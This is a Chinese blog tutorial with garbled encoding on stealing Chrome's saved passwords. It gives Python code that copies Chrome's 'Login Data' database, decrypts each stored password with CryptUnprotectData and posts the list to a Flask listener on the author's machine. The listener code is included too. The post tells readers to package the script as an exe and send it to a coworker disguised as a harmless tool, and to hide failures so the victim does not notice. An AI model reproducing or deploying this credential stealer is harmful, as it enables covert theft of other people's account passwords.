使用Python假裝偽黑客,批量破解朋友的網(wǎng)站密碼
如何破解iphone登陸密碼
今天看了一篇關(guān)于如何破解iphone手機(jī)密碼的文章,瞬間覺得科學(xué)技術(shù)不是第一生產(chǎn)力,why?
根據(jù)“可靠消息”稱,即便美國(guó)FBI也無法輕易的對(duì)iphone手機(jī)進(jìn)行暴力破解,當(dāng)然美國(guó)有一家黑客公司可針對(duì)iphone進(jìn)行破解,單收費(fèi)過萬美金。
那么鋪天蓋地的iphone手機(jī)密碼破解“黑客”是怎么做的?
無非是騙,他們假裝成各類官方人員告訴你發(fā)現(xiàn)你的iphone手機(jī)存在異常,需要遠(yuǎn)程告知apple_id幫你追回手機(jī),呵呵….
可是,這個(gè)梗和今天的文章有什么關(guān)系呢?
黑客的自我修養(yǎng)
隨著Python的活躍,各大平臺(tái)都在鼓吹,甚至已經(jīng)出了關(guān)于python黑客入門的書籍。
也許做一個(gè)黑客難如登天,那不如我們換個(gè)思路,去假裝做一個(gè)偽黑客如何?
前幾天看帖子,發(fā)現(xiàn)我們使用瀏覽器的時(shí)候,當(dāng)?shù)顷懸粋€(gè)需要輸入用戶名密碼的網(wǎng)站時(shí),在你登陸成功后,系統(tǒng)會(huì)提示你是否保存密碼,如果點(diǎn)擊確認(rèn),瀏覽器將會(huì)把我們本次輸入的密碼,存儲(chǔ)在瀏覽器中,待下次登錄時(shí)便可以免密登錄。
那么,這些密碼是怎么保存的,又存儲(chǔ)在哪里呢?
Chrome瀏覽器
也許很多人會(huì)說,360瀏覽器、QQ瀏覽器,這些國(guó)產(chǎn)的加殼瀏覽器不論美觀還是所謂的安全方面都做的很符合國(guó)人需求。但如果你的工作與IT掛鉤,無疑Chrome將是很多朋友的首選。當(dāng)然這篇文章不是介紹Chrome瀏覽器的使用手冊(cè),今天我們主要來看看Chrome瀏覽器的密碼存儲(chǔ)機(jī)制。
查看Chrome存儲(chǔ)的密碼表單
點(diǎn)擊你們的Chrome瀏覽器右上角,進(jìn)入設(shè)置->高級(jí)->管理密碼(根據(jù)瀏覽器版本不同,可能存在部分差異),亦或者在Chrome瀏覽器中輸入chrome://settings/passwords。你會(huì)看到很多已保存過的密碼表單信息,當(dāng)然如果你要查看密碼詳情,就要輸入電腦的系統(tǒng)管理員密碼。
那么,Chrome的密碼是以什么方式進(jìn)行存儲(chǔ)的呢?SQLite…
很多嵌入式產(chǎn)品中,都會(huì)使用SQLite數(shù)據(jù)庫進(jìn)行數(shù)據(jù)存儲(chǔ),它占用資源低,數(shù)據(jù)庫即文件,又支持sql語法的增刪改查,簡(jiǎn)直不要太方便
SQLite在哪,又該怎么查詢?
首先,進(jìn)入我的電腦,地址欄中輸入%LOCALAPPDATA%,進(jìn)入app的數(shù)據(jù)存儲(chǔ)路徑:
- C:\Users\Administrator\AppData\Local
 
之后進(jìn)入chrome瀏覽器的密碼數(shù)據(jù)庫統(tǒng)一地址為:
- Google\Chrome\User Data\Default\Login Data
 
查看Chrome瀏覽器存儲(chǔ)的密碼
既然拿到了SQLite數(shù)據(jù)庫文件,我們隨便找個(gè)sqlite工具,就能打開這個(gè)數(shù)據(jù)庫了!
這里我使用sqlitestudio:
數(shù)據(jù)庫信息展示.png
打開數(shù)據(jù)庫,我們看到有三張表:
logins 、meta、 stats
其中l(wèi)ogins中就存儲(chǔ)這你保存的網(wǎng)址、用戶名、密碼數(shù)據(jù),分別是:
signon_realm,username_value,password_value
但問題來了,password_value的字段看著是空的啊?因?yàn)榧用芰?
如何解密?網(wǎng)上查了下:
- CryptUnprotectData數(shù)據(jù)可以在win32crypt中找到,要使用該模塊,需要進(jìn)行安裝:
 - pip install pywin32
 - 萬事俱備,就差擼代碼了!
 
pip install pywin32
萬事俱備,就差擼代碼了!
代碼實(shí)現(xiàn)
- 1import os
 - 2import shutil
 - 3import sqlite3
 - 4import win32crypt
 - 5
 - 6db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
 - 7
 - 8tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
 - 9print(tmp_file)
 - 10if os.path.exists(tmp_file):
 - 11 os.remove(tmp_file)
 - 12shutil.copyfile(db_file_path, tmp_file)
 - 13
 - 14conn = sqlite3.connect(tmp_file)
 - 15for row in conn.execute('select signon_realm,username_value,password_value from logins'):
 - 16 ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
 - 17 print('網(wǎng)站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))
 - 18
 - 19conn.close()
 - 20os.remove(tmp_file)
 
通過解密,我們獲取到了Chrome瀏覽器保存的用戶名密碼,然后保存至文本。
獲取到的本地密碼.png
之后我們只需要使用pyinstaller -F xxx.py,將代碼打包成exe發(fā)給同事,就可以在他的電腦上獲取密碼了!
但,如果咱們的黑客之旅到此為止,那這個(gè)偽黑客未免有點(diǎn)low了吧?
數(shù)據(jù)回傳
為什么說要打包成exe?一是可以脫離環(huán)境單獨(dú)執(zhí)行,二卻是為了加殼!
我們?cè)谠械拇a基礎(chǔ)上,添加如下內(nèi)容
- 1import requests
 - 2try: # 記得添加try except 不然萬一你忘記啟動(dòng)Flask程序,豈不是讓同事發(fā)現(xiàn)了
 - 3 requests.post('http://192.168.1.101:9999/index',
 - 4 data=''.join(passwordList).encode('utf-8'))
 - 5except:
 - 6 pass
 
最后整理我們的代碼:
- 1# -*- coding: utf-8 -*-
 - 2# @Author : 王翔
 - 3# @JianShu : 清風(fēng)Python
 - 4# @Date : 2019/5/18 22:53
 - 5# Software : PyCharm
 - 6# version:Python 3.6.8
 - 7# @File : ChromePassword.py
 - 8
 - 9import os
 - 10import shutil
 - 11import sqlite3
 - 12import win32crypt
 - 13import json
 - 14import requests
 - 15
 - 16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
 - 17DB_PATH = r'Google\Chrome\User Data\Default\Login Data'
 - 18
 - 19
 - 20class ChromePassword:
 - 21
 - 22 def __init__(self):
 - 23 self.passwordsList = []
 - 24
 - 25 def get_chrome_db(self):
 - 26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
 - 27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
 - 28 if os.path.exists(_tmp_file):
 - 29 os.remove(_tmp_file)
 - 30 shutil.copyfile(_full_path, _tmp_file)
 - 31 self.show_passwords(_tmp_file)
 - 32
 - 33 def show_passwords(self, db_file):
 - 34 conn = sqlite3.connect(db_file)
 - 35 _sql = '''select signon_realm,username_value,password_value from logins'''
 - 36 for row in conn.execute(_sql):
 - 37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
 - 38 # 密碼解析后得到的是字節(jié)碼,需要進(jìn)行解碼操作
 - 39 _info = 'url: %-40s username: %-20s password: %s\n' % \
 - 40 (row[0][:50], row[1], ret[1].decode())
 - 41 self.passwordsList.append(_info)
 - 42 conn.close()
 - 43 os.remove(db_file)
 - 44
 - 45 def save_passwords(self):
 - 46 with open('password.txt', 'w', encoding='utf-8') as f:
 - 47 f.writelines(self.passwordsList)
 - 48
 - 49 def transfer_passwords(self):
 - 50 try:
 - 51 # 此處填寫遠(yuǎn)端Flask對(duì)應(yīng)的IP:PORT
 - 52 requests.post('http://192.168.1.102:9999/index',
 - 53 data=json.dumps(self.passwordsList))
 - 54 except requests.exceptions.ConnectionError:
 - 55 pass
 - 56
 - 57
 - 58if __name__ == '__main__':
 - 59 Main = ChromePassword()
 - 60 Main.get_chrome_db()
 - 61 Main.save_passwords()
 - 62 Main.transfer_passwords()
 
下來,我們?cè)诒镜貙懸粋€(gè)最簡(jiǎn)單的Flask程序,用戶獲取回傳的參數(shù),代碼如下:
- 1# -*- coding: utf-8 -*-
 - 2# @Author : 王翔
 - 3# @JianShu : 清風(fēng)Python
 - 4# @Date : 2019/5/18 22:53
 - 5# Software : PyCharm
 - 6# version:Python 3.6.8
 - 7# @File : ChromePassword.py
 - 8
 - 9from flask import Flask, request
 - 10import time
 - 11import json
 - 12
 - 13app = Flask(__name__)
 - 14
 - 15
 - 16@app.route('/index', methods=["GET", "POST"])
 - 17def index():
 - 18 if request.method == 'POST':
 - 19 _txtName = '%s_%s.txt' % (request.remote_addr,
 - 20 time.strftime('%Y%m%d%H%M%S', time.localtime()))
 - 21 with open(_txtName, 'w', encoding='utf-8') as f:
 - 22 f.writelines(json.loads(request.data))
 - 23 return "小哥,里面玩兒啊"
 - 24
 - 25
 - 26if __name__ == '__main__':
 - 27 # 端口可自行設(shè)置
 - 28 app.run(host='0.0.0.0', port=9999)
 
打完收工,就差同事去點(diǎn)擊你發(fā)給他的exe了。他以為你的工具僅僅把Chrome密碼生成txt保存,
其實(shí),在他點(diǎn)擊工具的同時(shí),你電腦會(huì)獲取他傳輸?shù)臄?shù)據(jù),并存儲(chǔ)在一個(gè)ip時(shí)間戳的文本中!
Flask回傳.png
然后,拿去給他們炫耀吧!


















 
 
 


 
 
 
 